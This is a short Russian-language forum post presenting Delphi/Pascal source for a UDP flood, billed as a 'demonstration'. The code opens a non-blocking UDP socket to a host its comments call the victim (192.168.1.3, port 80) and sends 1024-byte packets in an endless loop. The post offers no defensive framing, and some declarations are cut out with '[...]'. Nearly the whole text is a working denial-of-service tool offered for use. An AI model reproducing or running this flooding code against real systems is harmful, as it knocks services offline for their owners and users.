Прекрасная демонстрация UDP флуда by WestSide
Код:
uses Sockets;
[...]
const{пакет весом ровно 1024байта}
packet='$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
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[...]
var udp:TUDPSocket;
begin
udp:=TUDPSocket.Create(nil);
udp.BlockMode:=bmNonBlocking; //говорю что неблокирующие сокеты (не ждать ответа)
udp.RemoteHost:='192.168.1.3'; //указываю ай пи жертвы
udp.RemotePort:= inttostr(80); //порт жертвы
udp.Open(); //открываю коннект
Flood:=True;
While Flood=True do begin
udp.Sendln(packet); //посылаю пакет в цикле
end;
udp.Close();
end;